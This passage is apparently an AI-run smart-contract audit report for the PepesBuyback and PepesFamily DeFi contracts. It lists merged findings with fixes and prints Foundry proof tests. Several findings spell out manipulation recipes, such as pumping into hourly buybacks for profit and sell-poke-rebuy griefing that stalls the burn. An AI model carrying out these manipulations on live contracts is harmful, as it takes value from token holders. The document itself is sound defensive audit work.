     The contract notice accepts that 'a dip bracketed around a buyback move[s] the reference by at most 2% a day'; the consequence (a repeatable, nearly free daily stall, with no position held) is recorded here so it is a conscious trade-off. No profit accrues to the bracketer; it is griefing of the burn.

     Mitigation that keeps the design: apply the price observed at the previous poke rather than the current one (store a candidate sqrtPrice on each poke and move the reference toward the previous candidate), so moving the reference requires the manipulated price to persist until a later poke by someone else or the attacker (price exposure), and skip the observation while poolManager.isUnlocked() as PadToken.distribute already does.

     whole finding

     State: $Pepes pool as in test/PepesBuyback.t.sol; eve holds a bag bought with 2% of depth (21 IMD) a day earlier; poke() has just been called so the reference equals the market.

     Input, one day later and in one transaction: eve sells the bag, calls poke(), buys back with the proceeds.

     Expected: a bracket with no held position does not move the reference.

     Actual: refSqrtPrice moves from 23579363858406468593757795738193 to 23815157496990533279695373695574 (~1% in sqrtPrice, ~2% in price), priceRiseBps is 354 so buybackAndBurnPepes reverts PriceRisen for the next day; eve's cost is the two 4% fees on 21 IMD (test/scratch/BracketCost.t.sol::test_bracketCost, log output).

     whole reproduction

   • infoTrust assumption: buys through third-party routers credit tx.origin, so an ERC-4337 smart account's buys mark the bundler active, not the accountcontracts/src/PepesFamily.sol:356

     For swaps not sent by PepesFamilyRouter or PepesFamilyEthRouter the hook records tx.origin as the buyer. On Robinhood Chain a smart-contract wallet trading through an aggregator via an ERC-4337 bundler has tx.origin = the bundler EOA, so markActive never touches the wallet and its rewards expire after 7 days of not claiming or sending, even while it keeps buying.

     The natspec documents this ('Smart-contract wallets buying through third-party routers should claim (or send) at least weekly'); it is recorded as an asymmetry to surface in the UI rather than as a defect.

     Verified as correct in this commit: the ETH router's hookData is only passed on the token-pool swaps (the IMD/ETH pool still gets empty hookData, so a hook on that pool sees no change); Trade.trader and markActive now receive the ETH-router user instead of tx.origin, which is the intended behaviour and matches the IMD router; a third-party router cannot impersonate either router because sender is PoolManager's msg.sender and unlockCallback is PoolManager-only.

     whole finding

     State: a token launched on the v4 pad; a smart account S buys through PoolSwapTest (any non-PepesFamily router) in a transaction whose tx.origin is bundler B.

     Expected by a user of S: S is active.

     Actual: lastActive[S] is unchanged (only its first-ever receipt set it); lastActive[B] is set.

     After 7 days recycle(S) moves S's older rewards to the buyback.

9. reviewed
   #358Audit judgeClaude7 findings · 2 high

   afterAudit math, Audit permissions, Audit economics, Audit flow

   The review is complete. The findings file is written at the repository root and every quoted path, line and snippet was checked against the tree. No source file was changed; the only additions are my scratch tests under contracts/test/scratch/, which are not kept.

   Outcome. Of the 16 specialist findings, all reproduced against commit 2560653. They collapsed into 7 findings: 2 high, 3 low, 2 info. All four attached specialist proofs fail on this code for the reason their finding states. Three proofs are attached to my findings, each confirmed to fail now and to pass under a candidate fix with the existing 9 guard tests still green.

   Findings reported

   • High, reference above market (merged from economics, permissions, math). Each buyback multiplies the reference by its own impact, and only poke() pulls it back at 2%/day. In ordinary operation, with holders selling the amount just burned after each hourly buyback, the reference ends a day about 52% above the market and a 20%-of-depth pump reads as zero rise. Eve then takes 29 of the 160 IMD the series spends. After a genuine 35%-of-bag sale, a half-depth pump a day later takes 54 of 124 IMD spent. The ordinary-operation path is not covered by the README's "residual" note. My own proof carries both scenarios.
   • High, poke truncation (merged from all four specialists). The step rounds to whole half-basis-points but the clock always restarts, so pokes under 864 seconds apart move nothing. Thirty days of 10-minute pokes leave the reference bit-identical and the buyback stalled. Permissionless, gas-only, and also triggered by frequent recycles. The economics proof is attached.
   • Low, failed attempt reverts its own poke. Hourly buyback attempts alone never un-stall the buyback. The economics proof is attached.
   • Low, dip-poking. A sell, poke, rebuy a day after the last update stalls the next day for about 0.16% of depth in fees. Documented trade-off, quantified, not cumulative.
   • Low, effective 4% band after an idle day. One 2%-of-depth pre-buy held across the series pays 9.6 IMD of 290 spent.
   • Info, ERC-4337 tx.origin trust assumption. Documented. The ETH-router hookData change is correct and affects neither the IMD/ETH pool nor the Trade event beyond the intended trader field.
   • Info, test gaps. The suite never pokes at sub-864 s cadence, starts from a reference above market, or holds one in-band pre-buy across the series.

   Answers to the requester's questions. The ratchet can be gamed through the two mechanisms above, and the crash residual is profitable for weeks rather than merely open. The low-level poke call from recycle is safe and cannot block a recycle. The full non-fork suite of 125 tests passes, so no regression of earlier findings or v3 guarantees was observed.

   ran onclaude · claude-fable-5-1 · 35 turns · 13m 57s · 546 in · 49.9K out · 2M cached

   submission042ae79d6377b3919646e9f0ac77b3a512d8953143f58619c628d538041d46c4

   device7591760a616c6429719f71d890030c12b4d6f905aa1e8dd2b1937fd710e32bb5

   started from25606530e1ef2f5f1b405e743067a6050a646808

   bundlenone

   changed · 0 filesnothing

   • highThe reference keeps every buyback's own impact and comes down only 2%/day, so in ordinary operation (holders selling into the rises) or after any genuine fall it sits above the market and the pump-thecontracts/src/PepesBuyback.sol:163

     Merged from audit_economics finding 1, audit_permissions finding 2 and audit_math finding 2; all three reproduced.

     Root cause. Two rules combine. (1) Every buyback multiplies the reference by its own impact (line 163), about +1.9% in $Pepes price per buyback, up to 24 times a day, whether or not the market keeps that impact. (2) The only force that brings the reference back toward the market is poke(), at most 2% per day (lines 128-131). The guard (line 147) is one-sided: priceRiseBps() is 0 whenever the price is at or below the reference. So whenever the market ends up below the reference, the guard stops binding by the whole gap: a pump of up to (reference/market) x 1.02 passes, and every hourly buyback then buys into it, which is exactly the pump-then-series of audit ec4e3ea7 finding 1 that test_pumpThenSeriesStalls says is prevented.

     Two ways to reach that state, neither needing the attacker.

     (a) Ordinary operation, no crash (undocumented): a buyback lifts the price ~1.9%, a holder sells into the rise and the price gives the impact back, but the reference keeps it. With hourly buybacks the reference climbs up to ~45%/day in price against a 2%/day pull-down. Reproduced: after one day of 24 buybacks with a holder selling exactly the amount just burned after each (pool depth back at exactly 1,061.908 IMD), the reference sqrtPrice went from ~2.359e31 to 1.912e31, i.e. the reference price is ~52% above the market, and a 20%-of-depth pump still reads priceRiseBps() == 0.

     (b) A genuine fall (the README line 85 'residual'): after bob sells 35% of his bag the $Pepes price is well under half the reference. Each buyback rescales the reference by its own impact, so the ratio reference/market is preserved and only poke() closes it, at 2%/day: after a deep fall the window stays open for weeks, and the series keeps running at the low the whole time (guard inert). The longer it is open the more the series spends into a pump: with 24, 72 or 120 hours of honest hourly pokes+buybacks between the fall and eve's half-depth pump, her profit is 53.8, 85.1 and 134.6 IMD. The poke-truncation finding lets an attacker stop the pull-down entirely, and case (a) keeps re-opening the gap without any fall.

     Who loses: $Pepes holders. The buyback spends IMD from expired rewards at pumped prices and burns fewer $Pepes (18% fewer per IMD in the economics specialist's crash run); the attacker keeps 11% to 43% of what the series spends, after both 4% fees. The README calls the post-fall state a residual lasting 'until the reference has caught up (2% a day)'; that catch-up takes weeks after a deep fall and the window is profitable the whole time, and in case (a) the reference never catches up while buybacks run.

     Fix (design decision, preserves the guard's intent): the reference must not stay above the market. Options verified locally: (1) in poke(), follow a fall in $Pepes price at once and keep the 2%/day only on the way up (orientation: when imdIsCurrency0 a lower $Pepes price is a higher sqrtPrice: if (imdIsCurrency0 ? cur > ref : cur < ref) next = cur;). With that one line both proof tests pass (0 buybacks run, eve -16.7 and -12.2 IMD) and all 9 tests in test/PepesBuyback.t.sol still pass; trade-off: a single-transaction dump-poke-rebuy can then pull the reference down by the dump depth and stall the buyback for gap/2% days at the cost of 8% fees on the dumped amount (griefing, no gain; audit b803125e finding 5 class). (2) A bounded faster downward step (e.g. 24x the upward one) fixes case (a) but not a one-day-old deep fall (proof test 2 still fails). (3) Cap what the series may spend per rolling day (e.g. 3% of depth) so that holding a pump across the series costs more in fees than it captures, whatever the reference. (1) or (3), or both, resolve the finding.

     whole finding

     Setup as test/PepesBuyback.t.sol (launchpad A hosts '$Pepes', bob bought with 1,000 IMD, pool depth ~1,062 IMD, launchpad B's PepesBuyback buys through A's router).

     (a) No crash: mint one depth (1,062 IMD) to the buyback; for 24 hours: buybackAndBurnPepes, then bob sells exactly totalPepesBurned delta, warp 1 hour, poke(). Then eve buys 20% of depth, calls buybackAndBurnPepes every hour for 12 hours, sells everything. Expected (test_pumpThenSeriesStalls property): priceRiseBps() > 200 after the pump, 0 buybacks run, eve ends at or below her start. Actual: priceRiseBps() == 0 after the pump, 12 of 12 buybacks run spending 160.18 IMD, eve ends +29.07 IMD.

     (b) Crash: mint one depth to the buyback, one buyback (fresh reference), bob sells 35% of his bag, then 24 hours of hourly poke()+buybackAndBurnPepes by honest keepers. eve buys with depth/2, calls the buyback every hour for 24 hours, sells. Expected: stalled, eve loses. Actual: priceRiseBps() == 0 after the half-depth pump, 24 of 24 run spending 123.77 IMD, eve ends +53.79 IMD.

     Run: forge test --match-path test/scratch/ReferenceAboveMarketProof.t.sol -vv (both tests fail on commit 2560653; both pass with fix option 1).

     whole reproduction

   • highpoke() truncates its step to whole half-basis-points but always restarts the clock: pokes less than 864 s apart freeze the reference, so anyone (or a busy recycle bot) can stall the buyback indefinitecontracts/src/PepesBuyback.sol:128

     Merged from audit_economics finding 2, audit_flow finding 1, audit_permissions finding 1 and audit_math finding 1; all four reproduced (their four proofs all fail on this code for the stated reason).

     Root cause. Line 124 sets refTime = block.timestamp unconditionally, then line 128 computes h = 200 * dt / 172800 = dt / 864 in integer half-basis-points of sqrtPrice. For dt < 864 s, h == 0, lo == hi == ref and the reference does not move, yet the elapsed time has been consumed. Every poke discards dt mod 864 s: pokes every 10 minutes move nothing at all, pokes every 1,727 s follow at half speed, and even the hourly cadence the buyback itself uses gives h = 4 instead of 4.17 (1.92%/day, not 2%). poke() is permissionless and is also run by every PadToken.recycle of every v4 token (PadToken.sol line 329), so the state arises without an attacker whenever recycles land every few minutes, and can be forced by anyone for about 100 cheap transactions a day.

     Impact. Once the $Pepes price is more than 2% above the frozen reference (any organic rise, or a pump), buybackAndBurnPepes reverts PriceRisen on every call for as long as the pokes continue; the contract's promise that 'an organic rise or fall is followed at 2% a day' does not hold, and the recycled IMD, which can only leave through the burn swap, accumulates unspent. After a fall the same cadence keeps the reference above the market forever, which holds open the farmable window of the reference-above-market finding. Honest pokes cannot help: they also reset refTime with h == 0.

     Fix: do not discard the remainder. Compute the step at full precision, e.g. uint256 step = (ref * REF_STEP_PER_DAY_BPS * dt) / (2 * 1 days * 10_000); uint256 lo = ref - step; uint256 hi = ref + step; (ref < 2^160 so the product fits in 256 bits); verified locally: the proof passes and the 9 tests in test/PepesBuyback.t.sol still pass. Alternatively advance refTime only by the time actually credited (refTime += h * 864) or return before writing refTime when h == 0.

     whole finding

     Setup as test/PepesBuyback.t.sol; the buyback holds 100 IMD. eve buys 100 IMD of $Pepes and holds (priceRiseBps() = 1889). Then anyone calls poke() every 10 minutes for 30 days (4,320 calls, no trades). Expected (contract notice lines 36-40, test_organicRiseOnlyDelays which pokes daily and resumes in 8 days): the reference follows at 2%/day and the buyback resumes within about 10 days. Actual: refSqrtPrice is bit-identical before and after (23817539250915624842179591654741), priceRiseBps() is still 1889 and buybackAndBurnPepes reverts PriceRisen. Single step: with the price above the reference, warp 863 s and poke(): refTime == block.timestamp but refSqrtPrice is unchanged (reproduced in a scratch test).

     Run: forge test --match-path test/scratch/PokeTruncationProof.t.sol (fails on commit 2560653 with '30 days of pokes never moved the reference'; passes with the full-precision step).

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     
     import {PepesFamily} from "src/PepesFamily.sol";
     import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
     import {PepesBuyback} from "src/PepesBuyback.sol";
     import {PadToken} from "src/PadToken.sol";
     
     contract ProofIMD {
         string public name = "Identity.md";
         string public symbol = "IMD";
         uint8 public decimals = 18;
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 amt) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
             balanceOf[f] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     /// @dev Only there so launchpad A (which hosts the "$Pepes" pool) can be deployed: its own buyback is never used.
     contract ProofWiring {
         PoolKey key;
     
         function setKey(PoolKey memory k) external {
             key = k;
         }
     
         function pad() external view returns (address) {
             return address(this);
         }
     
         function poolKey(address) external view returns (PoolKey memory) {
             return key;
         }
     }
     
     /// @dev "$Pepes" is a token launched on launchpad A (same 4% hook fee and single-sided curve as the live v1 pool);
     ///      launchpad B's PepesBuyback buys it through A's router, as production buys $Pepes through the v1 router.
     abstract contract ProofBase is Test {
         uint160 constant FLAGS = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
         int24 constant START_TICK = 161000; // ~100 IMD starting market cap
     
         PoolManager pm;
         ProofIMD imd;
         PepesFamilyRouter routerA;
         PadToken pepes;
         PepesBuyback buyback;
     
         address eve = makeAddr("eve");
         address bob = makeAddr("bob");
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new ProofIMD();
     
             ProofIMD other = new ProofIMD();
             ProofWiring w = new ProofWiring();
             (address c0, address c1) =
                 address(other) < address(imd) ? (address(other), address(imd)) : (address(imd), address(other));
             PoolKey memory k = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 3000, 60, IHooks(address(0)));
             pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
             w.setKey(k);
     
             PepesFamily padA = _deployPad(address(other), address(w));
             routerA = PepesFamilyRouter(payable(padA.router()));
             pepes = PadToken(payable(padA.launch("Pepes", "PEPES", "", address(imd))));
             imd.mint(bob, 10_000e18);
             vm.startPrank(bob);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             routerA.buy(address(pepes), 1_000e18, 0, block.timestamp); // gives the $Pepes pool some depth
             vm.stopPrank();
     
             buyback = PepesBuyback(_deployPad(address(pepes), address(routerA)).buyback());
     
             imd.mint(eve, 10_000e18);
             vm.startPrank(eve);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             vm.stopPrank();
         }
     
         function _deployPad(address pepes_, address pepesRouter_) internal returns (PepesFamily) {
             bytes memory initCode = abi.encodePacked(
                 type(PepesFamily).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(this),
                     START_TICK,
                     PepesFamily.ImdEthPool(10_000, 100, address(0)),
                     pepes_,
                     pepesRouter_
                 )
             );
             bytes32 h = keccak256(initCode);
             for (uint256 i; i < 500_000; i++) {
                 address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
                 if (uint160(a) & 0x3FFF != FLAGS) continue;
                 address deployed;
                 assembly {
                     deployed := create2(0, add(initCode, 0x20), mload(initCode), i)
                 }
                 require(deployed == a, "hook address");
                 return PepesFamily(deployed);
             }
             revert("no salt");
         }
     
         function _tryBuyback() internal returns (bool ok) {
             try buyback.buybackAndBurnPepes(0, block.timestamp) {
                 ok = true;
             } catch {}
         }
     
         function _depth() internal view returns (uint256) {
             return buyback.maxBuyback() * 100;
         }
     }
     
     contract PokeTruncationProof is ProofBase {
         /// The price sits ~19% above the reference. poke() is documented to follow at 2% a day, so 30 days are plenty.
         /// Here someone (anyone: poke is permissionless and every PadToken.recycle calls it) pokes every 10 minutes.
         function test_frequentPokesStillFollowTheMarket() public {
             imd.mint(address(buyback), 100e18);
             vm.prank(eve);
             routerA.buy(address(pepes), 100e18, 0, block.timestamp);
             assertGt(buyback.priceRiseBps(), 1_000, "price is well above the reference");
             uint160 ref0 = buyback.refSqrtPrice();
     
             for (uint256 i; i < 30 days / 10 minutes; i++) {
                 vm.warp(block.timestamp + 10 minutes);
                 buyback.poke();
             }
     
             assertTrue(buyback.refSqrtPrice() != ref0, "30 days of pokes never moved the reference");
             assertLe(buyback.priceRiseBps(), buyback.MAX_PRICE_RISE_BPS(), "2% a day for 30 days covers a 19% rise");
             buyback.buybackAndBurnPepes(0, block.timestamp);
             assertGt(buyback.totalImdSpent(), 0, "the buyback resumed");
         }
     }

     whole proof

   • lowA buyback attempt that fails the guard reverts its own poke, so 'poke runs inside every buyback' never holds when it matters: hourly attempts alone never un-stall the buybackcontracts/src/PepesBuyback.sol:147

     Merged from audit_economics finding 3, audit_flow finding 2 and audit_math finding 3; reproduced.

     buybackAndBurnPepes calls poke() at line 146 and reverts PriceRisen at line 147 when the price is still more than 2% above the reference; the revert undoes the poke's writes to refSqrtPrice and refTime (the same holds for the TooSoon and BadAmount reverts). So the notice ('poke, also run by every recycle and buyback'), README line 85 and the comment on test_organicRiseOnlyDelays ('every recycle and buyback attempt') overstate what happens: a stalled buyback never advances the reference from its own attempts, and the natural integration (a keeper retrying buybackAndBurnPepes hourly) makes no progress ever. Only an explicit poke() or a PadToken.recycle that actually moves expired rewards moves the reference, and because one update counts at most one day, someone has to do that at least daily. test_organicRiseOnlyDelays passes only because its loop calls buyback.poke() explicitly.

     Fix: keep the poke when the guard fails, e.g. if (priceRiseBps() > MAX_PRICE_RISE_BPS) { _locked = 1; return 0; } (callers already treat 0 burned as nothing done; verified locally: the proof passes and the existing 9 tests pass), or document that upkeep must call poke() at least daily and have the website/keeper do it.

     whole finding

     Setup as test/PepesBuyback.t.sol; the buyback holds 100 IMD. eve buys 100 IMD of $Pepes (priceRiseBps() = 1889). A keeper calls buybackAndBurnPepes(0, block.timestamp) once an hour for 30 days and nothing else is called. Expected per the notice: the reference follows at 2%/day and the buyback resumes after about 8 days. Actual: 720 attempts all revert PriceRisen, refSqrtPrice never changes, totalImdSpent stays 0. Single step: warp 3 days, call buybackAndBurnPepes: it reverts and afterwards refTime and refSqrtPrice equal their values from before the call (refTime still 1800000000).

     Run: forge test --match-path test/scratch/FailedAttemptPokeProof.t.sol (fails on commit 2560653 with '720 hourly attempts never moved the reference').

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     
     import {PepesFamily} from "src/PepesFamily.sol";
     import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
     import {PepesBuyback} from "src/PepesBuyback.sol";
     import {PadToken} from "src/PadToken.sol";
     
     contract ProofIMD {
         string public name = "Identity.md";
         string public symbol = "IMD";
         uint8 public decimals = 18;
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 amt) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
             balanceOf[f] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     /// @dev Only there so launchpad A (which hosts the "$Pepes" pool) can be deployed: its own buyback is never used.
     contract ProofWiring {
         PoolKey key;
     
         function setKey(PoolKey memory k) external {
             key = k;
         }
     
         function pad() external view returns (address) {
             return address(this);
         }
     
         function poolKey(address) external view returns (PoolKey memory) {
             return key;
         }
     }
     
     /// @dev "$Pepes" is a token launched on launchpad A (same 4% hook fee and single-sided curve as the live v1 pool);
     ///      launchpad B's PepesBuyback buys it through A's router, as production buys $Pepes through the v1 router.
     abstract contract ProofBase is Test {
         uint160 constant FLAGS = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
         int24 constant START_TICK = 161000; // ~100 IMD starting market cap
     
         PoolManager pm;
         ProofIMD imd;
         PepesFamilyRouter routerA;
         PadToken pepes;
         PepesBuyback buyback;
     
         address eve = makeAddr("eve");
         address bob = makeAddr("bob");
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new ProofIMD();
     
             ProofIMD other = new ProofIMD();
             ProofWiring w = new ProofWiring();
             (address c0, address c1) =
                 address(other) < address(imd) ? (address(other), address(imd)) : (address(imd), address(other));
             PoolKey memory k = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 3000, 60, IHooks(address(0)));
             pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
             w.setKey(k);
     
             PepesFamily padA = _deployPad(address(other), address(w));
             routerA = PepesFamilyRouter(payable(padA.router()));
             pepes = PadToken(payable(padA.launch("Pepes", "PEPES", "", address(imd))));
             imd.mint(bob, 10_000e18);
             vm.startPrank(bob);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             routerA.buy(address(pepes), 1_000e18, 0, block.timestamp); // gives the $Pepes pool some depth
             vm.stopPrank();
     
             buyback = PepesBuyback(_deployPad(address(pepes), address(routerA)).buyback());
     
             imd.mint(eve, 10_000e18);
             vm.startPrank(eve);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             vm.stopPrank();
         }
     
         function _deployPad(address pepes_, address pepesRouter_) internal returns (PepesFamily) {
             bytes memory initCode = abi.encodePacked(
                 type(PepesFamily).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(this),
                     START_TICK,
                     PepesFamily.ImdEthPool(10_000, 100, address(0)),
                     pepes_,
                     pepesRouter_
                 )
             );
             bytes32 h = keccak256(initCode);
             for (uint256 i; i < 500_000; i++) {
                 address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
                 if (uint160(a) & 0x3FFF != FLAGS) continue;
                 address deployed;
                 assembly {
                     deployed := create2(0, add(initCode, 0x20), mload(initCode), i)
                 }
                 require(deployed == a, "hook address");
                 return PepesFamily(deployed);
             }
             revert("no salt");
         }
     
         function _tryBuyback() internal returns (bool ok) {
             try buyback.buybackAndBurnPepes(0, block.timestamp) {
                 ok = true;
             } catch {}
         }
     
         function _depth() internal view returns (uint256) {
             return buyback.maxBuyback() * 100;
         }
     }
     
     contract FailedAttemptPokeProof is ProofBase {
         /// The price sits ~19% above the reference and a keeper calls the buyback every hour for 30 days, nothing else.
         /// "poke runs inside every buyback", so the reference should follow at 2% a day and the buyback resume.
         function test_hourlyAttemptsAloneEventuallyResume() public {
             imd.mint(address(buyback), 100e18);
             vm.prank(eve);
             routerA.buy(address(pepes), 100e18, 0, block.timestamp);
             assertGt(buyback.priceRiseBps(), 1_000, "price is well above the reference");
             uint160 ref0 = buyback.refSqrtPrice();
     
             for (uint256 i; i < 30 * 24; i++) {
                 vm.warp(block.timestamp + 1 hours);
                 _tryBuyback();
             }
     
             assertTrue(buyback.refSqrtPrice() != ref0, "720 hourly attempts never moved the reference");
             assertGt(buyback.totalImdSpent(), 0, "the buyback resumed within 30 days");
         }
     }

     whole proof

   • lowDip-poking: after a day without pokes, one sell-poke-rebuy transaction takes the whole 2% step downward and stalls the buyback for a day at ~0.16% of depth in fees (documented trade-off, quantified; ncontracts/src/PepesBuyback.sol:125

     Merged from audit_flow finding 3 and audit_permissions finding 4; reproduced. Answers the re-check question 'poking around a dip'.

     poke() moves the reference toward whatever the pool's spot sqrtPrice is in the poking transaction, by up to 2% (price) for one day of elapsed time; nothing requires the price to persist, and poke() is not blocked while the PoolManager is unlocked, so the bracket can also run inside an unlock with flash-accounted funds. Whoever pokes first after a day of silence takes the whole day's budget in their direction: sell about 2% of depth (price -3.6%), poke (reference -2%), rebuy to the previous price. priceRiseBps() is then just above 200 and the next buyback reverts PriceRisen until a later poke, a day on, moves the reference back. The cost is the two 4% hook fees on the dumped amount (1.76 IMD here, ~0.16% of depth), no position held, no gain: it is griefing of the burn. It is not cumulative: the reference can never be pushed below the dipped spot, and honest pokes (hourly) compete for the same elapsed-time budget, limiting the attack to dips at least as deep as the gap wanted (the flow specialist measured 60 of 72 hourly buybacks still running with hourly honest pokes and hourly 0.2% dips).

     test_dumpBracketDoesNotStall only covers a bracket one hour after the last update (step 0.08%), which is why it passes. The notice and README already accept that a bracketed dip moves the reference 'by at most 2% a day'; this is reported so the consequence (a repeatable, nearly free one-day stall whenever upkeep is sparse) is a conscious choice, and because the fix for the reference-above-market finding (following a fall at once) widens it to the dump depth.

     Mitigations if wanted: run poke() hourly from the keeper (bounds the step a bracketer can take to 0.08%); apply the price observed at the previous poke rather than the current one (store a candidate sqrtPrice on each poke and move toward the previous candidate), so moving the reference requires the manipulated price to persist until a later poke; skip the observation while poolManager.isUnlocked(), as PadToken.distribute does.

     whole finding

     Setup as test/PepesBuyback.t.sol; the buyback holds 100 IMD. eve buys 2% of depth (21 IMD) and holds; five daily pokes bring the reference to the market (priceRiseBps() == 0).

     One day later, in one transaction: eve sells her bag, calls poke(), buys back with 109% of the proceeds (restoring the price).

     Expected if dips were harmless: the next buyback runs.

     Actual: priceRiseBps() == 202 > 200, buybackAndBurnPepes reverts PriceRisen; eve's cost is 1.76 IMD (round-trip fees, ~0.16% of the 1,082 IMD depth) and she holds the same bag; a day later, after a poke, the buyback runs again.

     (Scratch test test_dipBracketAroundPoke, log output.)

     whole reproduction

   • lowPoke-then-guard ordering makes the effective band ~4% after an idle day, and any pre-buy inside the band held across the hourly series pays (bounded leak, ~1-3% of what the series spends)contracts/src/PepesBuyback.sol:146

     Merged from audit_economics finding 4 and audit_permissions finding 3; reproduced.

     (a) buybackAndBurnPepes pokes first (line 146) and checks the guard second (line 147). When a day has passed since the last update, the poke moves the reference up to 2% toward a price pumped in the same transaction, and the guard then allows another 2%, so a pre-buy of about 2% of depth (+3.9% in price, priceRiseBps() 387) passes although the documented band is 2%. (b) From then on the reference follows each buyback's own impact, so every later buyback passes as well while the buyer simply holds: 24 buybacks of ~1.9% each appreciate the bag. test_pacedPreBuysDoNotPay only tests re-buying before every buyback, which stalls after the first; buying once and holding does pay.

     This is bounded (the buyback overpays by at most the band) and partly inherent to a public hourly schedule; it is reported so the bound is a conscious choice. If wanted: check the guard against the reference as it stood before this call's poke (keeps the band at the documented 2% after idle days); a smaller band with a correspondingly slower drift; or a daily cap on what the series spends, which also helps the reference-above-market finding.

     whole finding

     Setup as test/PepesBuyback.t.sol; the buyback holds one pool depth (1,061.9 IMD).

     (a) Warp 1 day. eve buys 2% of depth (21.24 IMD): priceRiseBps() == 387. 24 hourly buybacks follow, then she sells. Expected per the test suite's stated property ('riding the hourly series must not pay'): no profit. Actual: all 24 buybacks run (290.55 IMD spent) and eve ends +9.57 IMD (45% on her position).

     (b) Fresh reference (one buyback run), eve buys 0.5% of depth (5.31 IMD): priceRiseBps() == 95; 24 hourly buybacks run; she sells: +2.42 IMD on a 5.3 IMD stake after both 4% fees. (Scratch tests test_idleDayPreBuyRidesSeries and test_inBandPreBuy, log output.)

     whole reproduction

   • infoTrust assumption (verified, not a defect): buys through third-party routers credit tx.origin, so an ERC-4337 smart account's buys mark its bundler active; the ETH-router hookData change is otherwise ccontracts/src/PepesFamily.sol:356

     From audit_permissions finding 5; confirmed by reading the code and the hookData paths. Answers the re-check question on the ETH router.

     Verified in this commit: PepesFamilyEthRouter passes abi.encode(user) only on the token-pool swaps (lines 135 and 149) and empty hookData on the IMD/ETH legs (lines 131 and 160), so a hook on the IMD/ETH pool sees no change; the PepesFamily hook decodes hookData only when sender is router or ethRouter and hookData.length == 32, and both are immutables set in the constructor; a third-party router cannot impersonate either because sender is the PoolManager's msg.sender; Trade.trader and markActive now receive the ETH-router user instead of tx.origin, matching the IMD router; PadToken.recycle's low-level call to poke() cannot block a recycle (poke makes no external calls besides PoolManager reads, cannot overflow since next is always below a uint160 value, and a failing or codeless target just yields ok == false).

     Remaining asymmetry: for swaps not sent by the two PepesFamily routers the hook records tx.origin. A smart-contract wallet trading through an aggregator via an ERC-4337 bundler has tx.origin == the bundler EOA, so markActive never touches the wallet and its rewards expire after 7 days of not claiming or sending even while it keeps buying. The NatSpec and README line 82 document this ('should claim (or send) at least weekly'); surface it in the UI.

     whole finding

     State: a token launched on the v4 pad; a smart account S buys through PoolSwapTest (any non-PepesFamily router) in a transaction whose tx.origin is bundler B.

     Expected by a user of S: S is active.

     Actual: lastActive[S] is unchanged (only its first-ever receipt set it); lastActive[B] is set.

     After 7 days recycle(S) moves S's older rewards to the buyback.

     (Read from PepesFamily.sol lines 354-358 and PadToken.markActive; the existing PepesFamily.t.sol router tests show the router path crediting the user.)

     whole reproduction

   • infoGuard tests never poke at sub-864 s cadence, never start from a reference above the market, and never hold a single in-band pre-buy across the series, so the defects above are outside the suitecontracts/test/PepesBuyback.t.sol:211

